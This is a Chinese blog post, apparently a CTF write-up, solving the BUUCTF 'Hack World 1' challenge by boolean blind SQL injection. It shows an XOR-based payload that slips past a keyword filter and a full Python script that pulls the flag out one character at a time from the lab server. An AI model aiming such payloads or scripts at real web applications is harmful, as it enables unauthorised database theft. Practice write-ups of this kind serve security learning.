buuctf-web Hack World 1

我们打开环境后发现这还是一道sql注入题

 我首先随便试了一下,

先输入了0  显示Error Occured When Fetch Result.

输入1,显示Hello, glzjin wants a girlfriend.

2的话是Do you want to be my girlfriend?

3显示Error Occured When Fetch Result.

这应该是输入大于2的数据就出错了。我们再进行测试的时候发现它过滤了许多关键字

然后我在里什么都没输入,直接提交的话会出现bool(false),百度了一手,发现盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。而这种就是布尔的盲注

布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

这是进行布尔盲注的时候可能需要的一些函数,这时需要运用异或

然后我们用

1^1返回的是Hello, glzjin wants a girlfriend.

1^0返回的是Error Occured When Fetch Result.

然后我们可以通过上面的那些函数构造Pyload:

id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

这样回显就是正确的。

 然后我查看了一手大佬的wp,看了一些人家写的脚本。

#!/usr/bin/python
#-*-coding:utf-8 -*-
import requests
import re

def flag_get(start,f,url):    #确定start位的字符
    a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))='+str(f)+'),0,1))'
    data = {'id': a }
    url = 'http://bd11a3f9-cb7e-4933-9025-12632ffc00d0.node3.buuoj.cn/index.php'
    r= requests.post(url, data)
    s=r.text
    #print(s)
    if 'Hello' in s:
        return 1
    else:
        return 0

def flag_find(start,f,url): #确定
    a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))>'+str(f)+'),0,1))'
    data = {'id': a }
    url = 'http://bd11a3f9-cb7e-4933-9025-12632ffc00d0.node3.buuoj.cn/index.php'
    r= requests.post(url, data)
    s=r.text
    #print(s)
    if 'Hello' in s:
        return 1
    else:
        return 0



if __name__ == '__main__':
    url = 'http://bd11a3f9-cb7e-4933-9025-12632ffc00d0.node3.buuoj.cn/index.php'
    flag_kouhao=125
    flag=''
    num=1       #从第num位开始爆破
    while 1:
        start=32   #ascii的起始范围(10进制)
        last=126   #ascii的终止范围(10进制)
        mid=int((start+last)/2)
        while 1:
            if(flag_get(num,flag_kouhao,url)):
                flag=flag+'}'
                print('flag     is    :'+flag)
                exit(1)
            print('strat is '+str(start))
            print(' mid  is '+str(mid))
            print('last  is '+str(last))
            print('****************************************')

            if(flag_find(num,mid,url)):
                start=mid
                mid=int((start+last)/2)
                if ((last-start)<5):
                    break
            else:
                last=mid
                mid=int((start+last)/2)
                if ((last-start)<5):
                    break
        print(start)
        print(last)
        print('****************************************')
        for i in range(start,last+1):
            print(i)
            if(flag_get(num,i,url)):
                f=chr(i)
                flag=flag+f
                print('****************************************')
                print(' num is '+str(num))
                print('char is '+f)
                print('flag is '+flag)
                print('****************************************')
                break
        num=num+1    
    print(flag)

一开始跑的时候提示我

 这样出错了。我也不知为什么。然后百度了一手,然后再试的时候结果就正确了。这一步让我很迷茫其实。

原文地址:https://www.cnblogs.com/awsole/p/13835136.html